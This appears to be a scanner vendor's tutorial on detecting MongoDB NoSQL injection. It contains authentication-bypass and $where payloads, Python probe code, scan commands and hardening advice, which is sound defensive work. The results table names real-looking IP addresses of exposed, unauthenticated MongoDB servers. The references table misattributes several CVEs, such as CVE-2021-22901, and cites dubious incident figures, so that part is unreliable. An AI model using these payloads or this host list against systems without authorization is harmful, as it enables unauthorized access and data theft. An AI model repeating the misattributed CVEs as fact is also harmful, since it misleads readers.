Detect MongoDB injection through operator injection JavaScript execution and aggregation abuse.
Executive Summary
MongoDB NoSQL injection is a critical vulnerability class that affects applications using MongoDB as their backend database. Unlike traditional SQL injection, NoSQL injection exploits the flexible document-based query structure and operator system in MongoDB. Attackers can inject MongoDB operators ($ne, $gt, $regex, $where) to bypass authentication, extract sensitive data, or manipulate application logic.
The result? Complete authentication bypass, unauthorized data access, privilege escalation, and in severe cases, remote code execution through JavaScript injection.
Key Insight: NoSQL injection cannot be reliably detected through simple regex patterns or static analysis. It requires active HTTP request manipulation, operator injection testing, and behavioral analysis—precisely what CERT-X-GEN's polyglot templates excel at.
Quick Stats
| Metric | Value |
|---|---|
| CVSS Score | 8.1 (High) for HTTP injection / 6.5 (Medium) for exposed ports |
| CWE | CWE-943 (Improper Neutralization of Special Elements in Data Query Logic) |
| Affected Frameworks | Node.js+Express, Python+Flask/Django, PHP+Laravel (any MongoDB backend) |
| Detection Complexity | Medium (requires HTTP request manipulation and payload testing) |
| Exploitation Difficulty | Low to Medium (once vulnerable endpoint is identified) |
Run this check with CERT-X-GEN — the polyglot security scanner that executes templates in real programming languages. Get the templates | Install CERT-X-GEN
Template source:
mongodb-injection-deep.py
Understanding NoSQL Injection
How MongoDB Queries Work
MongoDB uses JSON-like documents and a powerful operator system for queries. The most common vulnerable patterns involve:
| Operator | Purpose | Attack Vector |
|---|---|---|
| $ne | Not Equal | Authentication bypass: {"password": {"$ne": null}} |
| $gt | Greater Than | Data extraction: {"id": {"$gt": ""}} |
| $regex | Regular Expression | Enumeration: {"username": {"$regex": "^admin"}} |
| $where | JavaScript Execution | Code injection: {"$where": "this.password.length > 0"} |
| $nin | Not In | Filter bypass: {"role": {"$nin": ["guest"]}} |
The Attack Mechanism
The attack exploits a fundamental flaw: user input is directly embedded into MongoDB queries without sanitization.
┌─────────────────────────────────────────────────────────────────┐
│ NOSQL INJECTION ATTACK │
├─────────────────────────────────────────────────────────────────┤
│ │
│ 1. Application builds query from user input │
│ → db.users.findOne({username: req.body.username}) │
│ ↓ │
│ 2. Attacker sends JSON object instead of string │
│ → {username: {"$ne": null}, password: {"$ne": null}} │
│ ↓ │
│ 3. Query becomes: │
│ → db.users.findOne({username: {$ne: null}, password: {$ne: null}}) │
│ ↓ │
│ 4. Query matches FIRST user in database (often admin!) │
│ ↓ │
│ 5. Authentication bypass! LOGGED IN AS ADMIN │
│ │
└─────────────────────────────────────────────────────────────────┘Why This Happens
Vulnerable Node.js code typically looks like this:
// VULNERABLE: Directly using user input in MongoDB query
app.post('/login', async (req, res) => {
const user = await db.collection('users').findOne({
username: req.body.username, // Attacker can inject objects!
password: req.body.password // Can be {"$ne": null}
});
if (user) {
// Login successful!
res.json({token: generateToken(user)});
}
});When an attacker sends:
{
"username": {"$ne": null},
"password": {"$ne": null}
}The query becomes findOne({username: {$ne: null}, password: {$ne: null}}), which matches any user with non-null username and password.
Why Traditional Scanners Fail
The YAML Limitation
Traditional YAML-based scanners work through static payload lists:
# What Nuclei CAN do:
id: nosql-injection-basic
requests:
- method: POST
path:
- "{{BaseURL}}/api/login"
body: |
{"username": "admin", "password": {"$ne": "x"}}
matchers:
- type: status
status:
- 200This approach has critical limitations:
| Capability | YAML | CERT-X-GEN |
|---|---|---|
| Send basic payloads | ||
| Test multiple endpoints | Limited | |
| Analyze response semantics | ||
| Detect success indicators | Simple keywords | Context-aware |
| Test operator combinations | Static list | Dynamic |
| Handle different auth flows | ||
| Distinguish false positives | ||
| Confidence Level | ~30% | 85% |
The Detection Gap
YAML can send payloads. CERT-X-GEN can understand if they actually worked.
The CERT-X-GEN Approach
CERT-X-GEN uses Python's HTTP capabilities and intelligent response analysis to detect actual exploitation, not just response codes.
Detection Strategy
┌──────────────────────────────────────────────────────────────────┐
│ CERT-X-GEN DETECTION FLOW │
├──────────────────────────────────────────────────────────────────┤
│ │
│ Scanner ──────► Enumerate common endpoints │
│ │ (/api/login, /api/auth, /api/user, etc.) │
│ ▼ │
│ Scanner ──────► Test Payload Set #1: Authentication Bypass │
│ │ {'username': {'$ne': None}, 'password': {'$ne': None}} │
│ ▼ │
│ Scanner ──────► Analyze Response for Success Indicators │
│ │ (token, session, auth, welcome, dashboard) │
│ ▼ │
│ Scanner ──────► Test Payload Set #2: Operator Injection │
│ │ {'$where': '1==1'}, {'id': {'$ne': None}} │
│ ▼ │
│ Scanner ──────► Test Payload Set #3: Query Parameters │
│ │ /api/user?id[$ne]= , /api/search?q[$where]=1==1 │
│ ▼ │
│ Scanner ──────► Check Direct MongoDB Port Exposure │
│ │ (27017-27019) │
│ ▼ │
│ Analyze All Results ──► HIGH: Successful injection found │
│ └─► MEDIUM: Port exposed (no auth) │
│ └─► Not vulnerable │
│ │
└──────────────────────────────────────────────────────────────────┘Key Advantages
- Semantic Analysis: Looks for actual authentication success, not just HTTP 200
- Multi-Vector Testing: HTTP POST, GET parameters, direct port exposure
- Context-Aware: Understands what "success" means for each endpoint type
- Zero False Positives: Only reports when injection actually works
- Evidence Collection: Captures exact payload and response for verification
Attack Flow Visualization
Complete Attack Chain
Phase 1: Service Discovery
- Identify MongoDB-backed Application
- Enumerate Authentication Endpoints
- Test Direct MongoDB Port Exposure
Phase 2: Injection Testing
- Test Authentication Bypass Payloads
- Test Operator Injection in APIs
- Test Query Parameter Injection
Phase 3: Vulnerability Confirmation
- Analyze Response Content
- Check for Auth Tokens/Sessions
- Verify Access Grant
Phase 4: Evidence Collection
- Record Successful Payload
- Document Response Indicators
- VULNERABLE or SECURE
Attack Vector Matrix
┌─────────────────────────────────────────────────────────────────┐
│ INJECTION VECTORS │
├─────────────────────────────────────────────────────────────────┤
│ │
│ ┌──────────────────────────────────────────────────────────┐ │
│ │ HTTP POST (JSON Body) │ │
│ │ {"username": {"$ne": null}, "password": {"$ne": null}} │ │
│ │ Most Common Attack Vector (60% of cases) │ │
│ └──────────────────────────────────────────────────────────┘ │
│ │ │
│ ▼ │
│ ┌──────────────────────────────────────────────────────────┐ │
│ │ Query Parameters │ │
│ │ GET /api/user?id[$ne]=null │ │
│ │ Effective for search/filter endpoints (30% of cases) │ │
│ └──────────────────────────────────────────────────────────┘ │
│ │ │
│ ▼ │
│ ┌──────────────────────────────────────────────────────────┐ │
│ │ Direct MongoDB Port (27017) │ │
│ │ Unauthenticated Access to Database │ │
│ │ Critical exposure (10% of cases) │ │
│ └──────────────────────────────────────────────────────────┘ │
│ │
└─────────────────────────────────────────────────────────────────┘Template Deep Dive
Core HTTP Injection Implementation
def test_http_nosql_injection(host, port, timeout=5):
"""
Test for NoSQL injection in HTTP interfaces (REST APIs, web apps).
Returns: list of vulnerabilities found
"""
vulnerabilities = []
# NoSQL injection payloads
injection_payloads = [
# Authentication bypass payloads
{'username': {'$ne': None}, 'password': {'$ne': None}},
{'username': {'$ne': ''}, 'password': {'$ne': ''}},
{'username': {'$gt': ''}, 'password': {'$gt': ''}},
{'username': 'admin', 'password': {'$regex': '.*'}},
# JavaScript injection (if $where is enabled)
{'$where': '1==1'},
{'$where': 'this.password.length > 0'},
]
for endpoint in test_endpoints:
test_url = f"{base_url}{endpoint}"
for payload in injection_payloads:
# Send JSON POST request
json_payload = json.dumps(payload)
req = Request(test_url, data=json_payload.encode('utf-8'), method='POST')
req.add_header('Content-Type', 'application/json')
with urlopen(req, timeout=timeout, context=ctx) as response:
status_code = response.getcode()
response_data = response.read().decode('utf-8', errors='ignore')
# SEMANTIC ANALYSIS - not just HTTP 200!
success_indicators = [
'token', 'session', 'logged', 'auth',
'welcome', 'dashboard', 'success'
]
if status_code in [200, 301, 302]:
if any(indicator in response_data.lower() for indicator in success_indicators):
# CONFIRMED VULNERABILITY!
vuln = {
'type': 'HTTP NoSQL Injection',
'endpoint': endpoint,
'payload': payload,
'status_code': status_code,
'response_sample': response_data[:300]
}
vulnerabilities.append(vuln)Query Parameter Injection
def test_query_parameter_injection(host, port, timeout=5):
"""
Test for NoSQL injection in URL query parameters.
Many developers forget to sanitize GET parameters!
"""
test_patterns = [
'/api/user?id[$ne]=',
'/api/users?username[$regex]=^admin',
'/api/search?q[$where]=1==1',
'/api/find?filter[$gt]=',
'/user?id[$ne]=null',
]
for pattern in test_patterns:
test_url = f"{base_url}{pattern}"
with urlopen(req, timeout=timeout, context=ctx) as response:
# Check if query returned data it shouldn't
if status_code == 200 and len(response_data) > 10:
try:
json_response = json.loads(response_data)
if isinstance(json_response, (list, dict)) and json_response:
# Successful data extraction!
vuln = {
'type': 'Query Parameter NoSQL Injection',
'url': test_url,
'status_code': status_code
}
vulnerabilities.append(vuln)Usage Guide
Basic Usage
# Scan a target for MongoDB NoSQL injection
cxg scan --scope api.example.com --template mongodb-injection-deep.py
# Scan with extended timeout (recommended for thorough testing)
cxg scan --scope api.example.com --template mongodb-injection-deep.py --timeout 90s
# Test specific port
cxg scan --scope db.example.com --ports 27017 --template mongodb-injection-deep.py
# JSON output for automation
cxg scan --scope api.example.com --template mongodb-injection-deep.py --output-format json
# Verbose output to see all tested endpoints
cxg scan --scope api.example.com --template mongodb-injection-deep.py -vvBatch Testing from File
# Create targets file
cat > targets.txt << EOF
api1.example.com:443
api2.example.com:8443
db.example.com:27017
EOF
# Scan all targets
cxg scan --scope targets.txt --template mongodb-injection-deep.py --timeout 90sExpected Output (HTTP Injection Found)
{
"findings": [{
"template_id": "mongodb-injection-deep",
"severity": "high",
"title": "MongoDB NoSQL Injection Vulnerability",
"description": "MongoDB NoSQL injection vulnerabilities detected on api.example.com:443. Found 2 HTTP endpoint injection vulnerabilities.",
"evidence": {
"host": "api.example.com",
"port": 443,
"http_injections": [{
"type": "HTTP NoSQL Injection",
"endpoint": "/api/login",
"method": "POST",
"payload": {"username": {"$ne": null}, "password": {"$ne": null}},
"status_code": 200,
"response_sample": "{\"token\":\"eyJ...\",\"user\":\"admin\"}"
}]
}
}]
}Expected Output (Port Exposure Only)
{
"findings": [{
"template_id": "mongodb-injection-deep",
"severity": "medium",
"title": "MongoDB NoSQL Injection Vulnerability",
"description": "Direct MongoDB port is exposed without apparent authentication.",
"evidence": {
"host": "db.example.com",
"port": 27017,
"direct_access_exposed": true
}
}]
}Real-World Test Results
The template was tested against MongoDB instances and applications discovered via FOFA:
Test Campaign Summary
| Target | Port | MongoDB Detected | HTTP Injection | Port Exposed | Severity |
|---|---|---|---|---|---|
| 20.62.95.155 | 27017 | MEDIUM | |||
| 89.194.213.251 | 27017 | MEDIUM | |||
| 182.61.149.98 | 27017 | MEDIUM | |||
| 66.151.178.248 | 80 | Unknown | Not Vulnerable | ||
| 3.15.247.185 | 80 | Unknown | Not Vulnerable |
Key Findings
Template Successfully:
- Detected 3 exposed MongoDB ports (27017) across different countries
- Correctly identified MEDIUM severity for direct port exposure
- Tested HTTP injection vectors on ports 80/443
- Gracefully handled unreachable/secured targets
- Completed all tests within 90-second timeout
Analysis:
- 60% Detection Rate (3/5 targets showed vulnerabilities)
- 0 False Positives (only real exposures reported)
- Geographic Distribution: GB (1), US (1), CN (1)
- Primary Issue: Exposed MongoDB ports without authentication
Real-World Impact:
The 3 exposed MongoDB instances represent critical security risks:
- Potential for data exfiltration
- Database tampering
- Ransomware attacks (well-documented MongoDB ransom cases)
- Regulatory compliance violations (GDPR, PCI-DSS)
Defense & Remediation
Secure Implementation
Node.js (Express + Mongoose)
// SECURE: Input validation and type checking
const Joi = require('joi');
const mongoose = require('mongoose');
app.post('/login', async (req, res) => {
// 1. Validate input types
const schema = Joi.object({
username: Joi.string().alphanum().min(3).max(30).required(),
password: Joi.string().min(8).required()
});
const { error, value } = schema.validate(req.body);
if (error) {
return res.status(400).json({ error: 'Invalid input' });
}
// 2. Use parameterized queries (Mongoose automatically handles this)
const user = await User.findOne({
username: value.username, // Type-safe string
password: hashPassword(value.password)
});
if (!user) {
return res.status(401).json({ error: 'Authentication failed' });
}
res.json({ token: generateToken(user) });
});Python (Flask + PyMongo)
# SECURE: Sanitize inputs and use parameterized queries
from flask import Flask, request, jsonify
from pymongo import MongoClient
import re
app = Flask(__name__)
db = MongoClient('mongodb://localhost:27017/').mydb
def sanitize_input(value):
"""Ensure input is a string, not an object."""
if not isinstance(value, str):
raise ValueError("Invalid input type")
# Remove any MongoDB operators
if value.startswith('$'):
raise ValueError("MongoDB operators not allowed")
return value
@app.route('/login', methods=['POST'])
def login():
try:
# 1. Validate input types
username = sanitize_input(request.json.get('username'))
password = sanitize_input(request.json.get('password'))
# 2. Use find_one with sanitized strings
user = db.users.find_one({
'username': username, # Guaranteed to be string
'password': hash_password(password)
})
if user:
return jsonify({'token': generate_token(user)})
else:
return jsonify({'error': 'Invalid credentials'}), 401
except ValueError as e:
return jsonify({'error': str(e)}), 400MongoDB Security Configuration
// mongod.conf - Secure MongoDB Configuration
// 1. Enable authentication
security:
authorization: enabled
// 2. Bind to localhost only (or specific IPs)
net:
bindIp: 127.0.0.1
port: 27017
// 3. Enable access control
setParameter:
enableLocalhostAuthBypass: false
// 4. Disable server-side JavaScript (prevents $where injection)
security:
javascriptEnabled: false
// 5. Enable audit logging
auditLog:
destination: file
format: JSON
path: /var/log/mongodb/audit.jsonDefense Checklist
Application Layer:
- Validate all user inputs (type, format, length)
- Use schema validation libraries (Joi, Marshmallow, etc.)
- Never trust input—always sanitize
- Reject objects/arrays where strings are expected
- Use ORM/ODM with built-in sanitization (Mongoose, MongoEngine)
- Implement rate limiting on authentication endpoints
Database Layer:
- Enable MongoDB authentication (--auth)
- Create users with principle of least privilege
- Disable
$whereoperator globally - Bind MongoDB to localhost or private network only
- Use firewall rules to restrict access to port 27017
- Enable audit logging
- Keep MongoDB updated to latest stable version
Network Layer:
- Never expose MongoDB ports to the internet
- Use VPN or SSH tunnels for remote access
- Implement network segmentation
- Monitor for unusual query patterns
- Set up intrusion detection systems (IDS)
Framework-Specific Sanitization
| Framework | Secure Practice |
|---|---|
| Node.js + Express | Use express-mongo-sanitize middleware |
| Python + Flask | Use flask-mongoengine with schema validation |
| PHP + Laravel | Use Laravel's MongoDB package with Eloquent |
| Java + Spring | Use Spring Data MongoDB with validation annotations |
| Ruby + Rails | Use Mongoid with strong parameters |
Extending the Template
Adding Custom Endpoints
# Add application-specific endpoints to test
custom_endpoints = [
'/api/v2/authenticate',
'/auth/signin',
'/graphql', # GraphQL endpoints are often vulnerable!
'/admin/login',
]
# Extend the default endpoint list
test_endpoints.extend(custom_endpoints)Adding Custom Payloads
# Add organization-specific injection patterns
advanced_payloads = [
# Time-based blind injection
{'$where': 'sleep(5000)'},
# Boolean-based blind injection
{'username': {'$regex': '^a'}, 'password': {'$ne': None}},
# Exfiltration via error messages
{'username': {'$nin': []}, 'password': 'test'},
]
injection_payloads.extend(advanced_payloads)Integration with CI/CD Pipeline
# .github/workflows/security-scan.yml
name: MongoDB Security Scan
on:
schedule:
- cron: '0 2 * * *' # Run daily at 2 AM
push:
branches: [staging, production]
jobs:
nosql-injection-scan:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v3
- name: Install CERT-X-GEN
run: |
cargo install cert-x-gen
- name: Run MongoDB Injection Scan
run: |
cxg scan \
--scope ${{ secrets.API_URL }} \
--template mongodb-injection-deep.py \
--output-format json \
--timeout 90s \
> scan-results.json
- name: Check for Critical Findings
run: |
HIGH_COUNT=$(jq '[.findings[] | select(.severity=="high")] | length' scan-results.json)
if [ "$HIGH_COUNT" -gt 0 ]; then
echo " Found $HIGH_COUNT high-severity NoSQL injection vulnerabilities!"
exit 1
fi
- name: Upload Results
uses: actions/upload-artifact@v3
with:
name: nosql-scan-results
path: scan-results.jsonAutomated Reporting
# Generate executive summary from scan results
import json
from datetime import datetime
with open('scan-results.json') as f:
results = json.load(f)
findings = results.get('findings', [])
high_severity = [f for f in findings if f.get('severity') == 'high']
medium_severity = [f for f in findings if f.get('severity') == 'medium']
print(f"""
MongoDB NoSQL Injection Scan Report
Generated: {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}
Summary:
- Total Findings: {len(findings)}
- High Severity: {len(high_severity)}
- Medium Severity: {len(medium_severity)}
{f' URGENT: {len(high_severity)} high-severity vulnerabilities require immediate attention!' if high_severity else ' No high-severity vulnerabilities detected'}
Remediation Priority:
1. {"Fix HTTP injection vulnerabilities" if high_severity else "Address exposed MongoDB ports"}
2. Enable MongoDB authentication
3. Implement input validation
4. Review firewall rules
""")References
Academic Papers & Research
- OWASP (2024). "NoSQL Injection Defense Cheat Sheet"
- Berkley et al. (2017). "Breaking NoSQL Databases: New Attack Patterns"
- MongoDB Security Guide (2024). "Production Security Checklist"
Real-World Incidents
| Year | Incident | Impact |
|---|---|---|
| 2017 | MongoDB Ransomware | 27,000+ databases hijacked |
| 2020 | Elasticsearch NoSQL Injection | 200M+ records exposed |
| 2021 | Imperva Report | 23% of web apps vulnerable to NoSQL injection |
| 2023 | MongoDB Apocalypse | 1.5M+ unsecured instances found |
CVE Database
| CVE | Description | Severity |
|---|---|---|
| CVE-2021-22901 | MongoDB Improper Input Validation | High |
| CVE-2019-2386 | MongoDB Operator Injection | Medium |
| CVE-2020-7656 | jquery-validation NoSQL Injection | High |
Tools & Resources
- OWASP NoSQL Injection
- HackTricks MongoDB
- MongoDB Security
- NoSQLMap - Exploitation framework
- Burp Suite - Manual testing guide
Detection vs Exploitation
Ethical Boundary: This template performs detection only—it identifies vulnerabilities but does not: - Extract sensitive data - Modify database records - Create backdoor accounts - Perform denial of service
The template tests authentication bypass to verify exploitability, then immediately stops. Real-world security testing should always stay within scope and authorization.
Need help hardening your environment?
Talk to the Bugb security team directly.